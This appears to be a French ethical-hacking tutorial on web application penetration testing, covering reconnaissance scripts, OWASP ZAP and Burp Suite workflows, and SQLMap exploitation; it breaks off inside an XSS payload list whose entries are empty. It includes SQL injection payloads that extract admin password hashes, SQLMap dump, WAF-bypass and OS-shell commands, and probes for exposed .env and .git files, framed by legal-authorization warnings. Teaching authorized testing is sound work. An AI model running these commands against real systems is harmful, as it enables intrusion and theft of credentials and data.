Estimated reading time: 16 minutes
Introduction : L’Art du Hacking Éthique
Le pentest (test d’intrusion) est une évaluation de sécurité qui simule une attaque réelle pour identifier les vulnérabilités d’une application web avant qu’un attaquant malveillant ne les découvre. En 2025, avec l’augmentation des cyberattaques sophistiquées, le pentest est devenu un élément indispensable du cycle de développement.
Table of Contents
- Introduction : L’Art du Hacking Éthique
- Méthodologie de Pentest : Approche Professionnelle
- Phase 1 : Reconnaissance
- Phase 2 : Énumération avec OWASP ZAP
- Phase 3 : Analyse avec Burp Suite
- Phase 4 : Exploitation avec SQLMap
- Autres Vulnérabilités à Tester
- Exploitation Avancée : Chaîne d’Attaques
- Phase 5 : Rapport de Pentest
- Outils Complémentaires
- Checklist de Pentest Web
- Conclusion
Ce guide complet explore la méthodologie professionnelle de pentest d’applications web, les outils essentiels (OWASP ZAP, Burp Suite, SQLMap), et les techniques d’exploitation responsables. L’objectif est éducatif : apprendre à défendre en comprenant comment on attaque.
Méthodologie de Pentest : Approche Professionnelle
Phases d’un Pentest Web
1. RECONNAISSANCE (Passive + Active)
↓
- ÉNUMÉRATION (Cartographie de l'application)
↓
- ANALYSE DES VULNÉRABILITÉS (Scan automatisé + manuel)
↓
- EXPLOITATION (Preuve de concept)
↓
- POST-EXPLOITATION (Pivot, élévation de privilèges)
↓
- RAPPORT (Documentation des findings)
Cadre Légal et Éthique
# IMPORTANT : Cadre Légal du Pentest
## Autorisations Obligatoires
Contrat de pentest signé par le client
Périmètre défini et documenté
Fenêtre temporelle définie
Contacts d'urgence identifiés
## Interdit Sans Autorisation
Tester des systèmes dont vous n'êtes pas propriétaire
Exploitation de vulnérabilités hors périmètre
Exfiltration de données réelles
Déni de service (DoS)
## Responsabilités
Confidentialité absolue des données découvertes
Documentation sécurisée des findings
Suppression des backdoors/shells après le test
Non-divulgation publique sans accord
Phase 1 : Reconnaissance
Reconnaissance Passive (OSINT)
#!/bin/bash
# reconnaissance-passive.sh - Collecte d'informations sans toucher la cible
TARGETDOMAIN="example.com"
echo "=== Reconnaissance Passive de $TARGETDOMAIN ==="
echo
# 1. Whois - Informations sur le domaine
echo "[+] WHOIS Lookup:"
whois $TARGETDOMAIN | grep -E "Organization|Admin Email|Creation Date"
echo
# 2. DNS Records
echo "[+] DNS Records:"
dig $TARGETDOMAIN ANY +noall +answer
dig $TARGETDOMAIN MX +short
dig $TARGETDOMAIN TXT +short
echo
# 3. Sous-domaines (via Certificate Transparency)
echo "[+] Sous-domaines (crt.sh):"
curl -s "https://crt.sh/?q=%.$TARGETDOMAIN&output=json" |
jq -r '.[].namevalue' | sort -u | head -20
echo
# 4. Technologies utilisées (via BuiltWith API)
echo "[+] Technologies détectées:"
# Requiert une API key gratuite
curl -s "https://api.builtwith.com/free1/api.json?KEY=YOURKEY&LOOKUP=$TARGETDOMAIN"
echo
# 5. Historique de l'application (Wayback Machine)
echo "[+] Historique Wayback Machine:"
curl -s "http://archive.org/wayback/available?url=$TARGETDOMAIN" | jq -r '.archivedsnapshots.closest.url'
echo
# 6. Google Dorking (recherches avancées)
echo "[+] Google Dorks à tester manuellement:"
echo " site:$TARGETDOMAIN filetype:pdf"
echo " site:$TARGETDOMAIN inurl:admin"
echo " site:$TARGETDOMAIN ext:sql | ext:log | ext:bak"
echo " site:$TARGETDOMAIN intext:"index of" "parent directory""
Reconnaissance Active
#!/bin/bash
# reconnaissance-active.sh - Scan du périmètre
TARGET="example.com"
TARGETIP=$(dig +short $TARGET | head -1)
echo "=== Reconnaissance Active de $TARGET ($TARGETIP) ==="
echo
# 1. Scan de ports avec Nmap
echo "[+] Scan de ports (Nmap):"
nmap -sV -sC -p- -T4 -oN nmap-scan.txt $TARGETIP
# Ports web communs
nmap -p 80,443,8080,8443 --script=http-enum,http-headers,http-methods $TARGETIP
# 2. Technologies détectées
echo "[+] Technologies (Wappalyzer CLI):"
npm install -g wappalyzer
wappalyzer $TARGET
# 3. Headers HTTP
echo "[+] Headers HTTP:"
curl -sI https://$TARGET | grep -E "Server|X-Powered-By|X-AspNet-Version"
# 4. Robots.txt et sitemap
echo "[+] Fichiers de découverte:"
curl -s https://$TARGET/robots.txt
curl -s https://$TARGET/sitemap.xml
# 5. Fichiers sensibles courants
echo "[+] Test de fichiers sensibles:"
for file in ".git/HEAD" ".env" "config.php.bak" "phpinfo.php" ".DSStore"; do
status=$(curl -s -o /dev/null -w "%{httpcode}" "https://$TARGET/$file")
if [ "$status" = "200" ]; then
echo " ✓ FOUND: $file (HTTP $status)"
fi
done
Phase 2 : Énumération avec OWASP ZAP
Installation et Configuration OWASP ZAP
# Installation de ZAP sur Linux
wget https://github.com/zaproxy/zaproxy/releases/download/v2.14.0/ZAP2.14.0Linux.tar.gz
tar -xvf ZAP2.14.0Linux.tar.gz
cd ZAP2.14.0/
./zap.sh
# Ou via Docker
docker pull zaproxy/zap-stable
docker run -u zap -p 8080:8080 -i zaproxy/zap-stable zap-webswing.sh
Scan Automatisé avec ZAP
#!/bin/bash
# zap-scan.sh - Scan automatisé avec OWASP ZAP
ZAPPATH="/opt/zaproxy/zap.sh"
TARGETURL="https://example.com"
REPORTDIR="./pentest-reports"
APIKEY="your-zap-api-key"
mkdir -p "$REPORTDIR"
echo "=== OWASP ZAP Automated Scan ==="
echo "Target: $TARGETURL"
echo
# 1. Spider (cartographie)
echo "[+] Phase 1: Spidering..."
$ZAPPATH -cmd -quickurl "$TARGETURL" -quickprogress
# 2. Scan actif (détection de vulnérabilités)
echo "[+] Phase 2: Active Scanning..."
$ZAPPATH -cmd
-quickurl "$TARGETURL"
-quickout "$REPORTDIR/zap-report-$(date +%Y%m%d-%H%M%S).html"
# 3. Générer rapport JSON
echo "[+] Phase 3: Génération du rapport..."
curl -s "http://localhost:8080/JSON/core/view/alerts/?apikey=$APIKEY" |
jq . > "$REPORTDIR/zap-alerts.json"
# 4. Analyser les résultats
echo
echo "=== Résumé des Vulnérabilités ==="
jq -r '.alerts[] | "(.risk): (.alert) ((.count))"' "$REPORTDIR/zap-alerts.json" |
sort -r
Configuration ZAP pour Authentification
# zap-auth-scan.py - Scan avec authentification
from zapv2 import ZAPv2
import time
# Connexion à ZAP
zap = ZAPv2(apikey='your-api-key', proxies={'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'})
target = 'https://example.com'
loginurl = 'https://example.com/login'
# 1. Accéder à la page de login
print('[+] Accessing login page...')
zap.urlopen(loginurl)
# 2. Soumettre le formulaire de login
print('[+] Logging in...')
zap.urlopen(loginurl + '?username=testuser&password=testpass')
time.sleep(2)
# 3. Vérifier l'authentification
if 'logout' in zap.core.htmlreport():
print('[+] Authentification réussie')
else:
print('[!] Échec de l'authentification')
exit(1)
# 4. Spider en étant authentifié
print('[+] Spidering as authenticated user...')
scanid = zap.spider.scan(target)
while int(zap.spider.status(scanid)) < 100:
print(f'Spider progress: {zap.spider.status(scanid)}%')
time.sleep(2)
# 5. Scan actif
print('[+] Active scanning...')
scanid = zap.ascan.scan(target)
while int(zap.ascan.status(scanid)) < 100:
print(f'Scan progress: {zap.ascan.status(scanid)}%')
time.sleep(5)
# 6. Récupérer les alertes
print('[+] Generating report...')
alerts = zap.core.alerts(baseurl=target)
for alert in alerts:
print(f"n{alert['risk']} - {alert['alert']}")
print(f"URL: {alert['url']}")
print(f"Description: {alert['description'][:100]}...")
# 7. Sauvegarder le rapport
with open('zap-report.html', 'w') as f:
f.write(zap.core.htmlreport())
print('n[+] Rapport sauvegardé: zap-report.html')
Phase 3 : Analyse avec Burp Suite
Interception et Manipulation de Requêtes
# Burp Suite : Workflow Professionnel
## 1. Configuration du Proxy
Burp Suite écoute sur 127.0.0.1:8080
Configurer le navigateur pour utiliser ce proxy
Installer le certificat CA de Burp pour HTTPS
## 2. Target Scope
Définir le scope: example.com/
Exclure: analytics, CDN externes
Filtrer le trafic uniquement dans le scope
## 3. Spider
Crawl passif en naviguant manuellement
Crawler actif pour découvrir endpoints cachés
Analyser la sitemap générée
## 4. Intruder (Fuzzing)
Identifier les points d'injection
Charger des payloads (SQL, XSS, etc.)
Analyser les réponses pour détecter anomalies
## 5. Repeater
Rejouer des requêtes modifiées
Tester différents payloads manuellement
Analyser les réponses en détail
Exemple : Découvrir une Vulnérabilité SQL Injection
# Requête originale interceptée dans Burp Suite
POST /api/users/search HTTP/1.1
Host: example.com
Content-Type: application/json
{
"search": "john"
}
# Test 1 : Simple quote (détecter l'erreur SQL)
{
"search": "john'"
}
# Réponse : 500 Internal Server Error
# "You have an error in your SQL syntax..."
# → Vulnérabilité SQL Injection confirmée !
# Test 2 : Union-based injection (extraire des données)
{
"search": "john' UNION SELECT 1,username,password,4 FROM admins--"
}
# Réponse : Liste des admins avec hashes de mots de passe
# Test 3 : Time-based blind injection (si pas de retour direct)
{
"search": "john' AND SLEEP(5)--"
}
# Temps de réponse : 5 secondes → Confirmation de l'injection
# Preuve de concept sécurisée (ne pas exfiltrer de vraies données)
{
"search": "john' UNION SELECT 1,2,DATABASE(),4--"
}
# Réponse : Nom de la base de données → POC suffisant pour le rapport
Phase 4 : Exploitation avec SQLMap
SQL Injection Automatisée
#!/bin/bash
# sqlmap-exploitation.sh - Exploitation automatisée de SQL injection
TARGETURL="https://example.com/api/users/search"
echo "=== SQLMap Exploitation ==="
echo "Target: $TARGETURL"
echo
# 1. Détection de la vulnérabilité
echo "[+] Phase 1: Détection de SQL injection..."
sqlmap -u "$TARGETURL"
--data='{"search":"test"}'
--method=POST
--headers="Content-Type: application/json"
--batch
--level=5
--risk=3
# 2. Énumération des bases de données
echo "[+] Phase 2: Énumération des bases de données..."
sqlmap -u "$TARGETURL"
--data='{"search":"test"}'
--method=POST
--headers="Content-Type: application/json"
--dbs
--batch
# 3. Énumération des tables
echo "[+] Phase 3: Énumération des tables de 'myappdb'..."
sqlmap -u "$TARGETURL"
--data='{"search":"test"}'
--method=POST
--headers="Content-Type: application/json"
-D myappdb
--tables
--batch
# 4. Dumper le contenu d'une table (AVEC PRÉCAUTION)
echo "[+] Phase 4: Extraction de données (colonnes uniquement)..."
sqlmap -u "$TARGETURL"
--data='{"search":"test"}'
--method=POST
--headers="Content-Type: application/json"
-D myappdb
-T users
--columns
--batch
# ATTENTION : Ne jamais dumper de vraies données utilisateurs
# Pour le pentest, extraire seulement :
# - La structure (colonnes)
# - 1-2 lignes de test
# - Le compte de lignes
# 5. OS Shell (si possible, TRÈS DANGEREUX)
# sqlmap -u "$TARGETURL" --os-shell
# ⚠️ Ne faire qu'avec autorisation explicite
echo
echo "[+] Exploitation terminée. Vérifier les rapports dans ~/.sqlmap/output/"
SQLMap : Options Avancées
# Exploitation avec authentification
sqlmap -u "https://example.com/profile?id=1"
--cookie="PHPSESSID=abc123xyz"
--level=5
--risk=3
# Exploitation via requête GET avec paramètres multiples
sqlmap -u "https://example.com/search?q=&category=&page=1"
--batch
# Exploitation avec WAF bypass
sqlmap -u "https://example.com/api/search"
--data='search=test'
--tamper=space2comment,between
--random-agent
--delay=2
# Exploitation time-based (plus lente mais furtive)
sqlmap -u "https://example.com/product?id=1"
--technique=T
--time-sec=5
# Dump sélectif (seulement certaines colonnes)
sqlmap -u "https://example.com/user?id=1"
-D myapp
-T users
-C id,username,email
--dump
--stop=5 # Seulement 5 lignes
Autres Vulnérabilités à Tester
XSS (Cross-Site Scripting)
#!/bin/bash
# xss-testing.sh - Tester les vulnérabilités XSS
TARGET="https://example.com/search?q="
# Payloads XSS à tester
PAYLOADS=(
""
"
"
"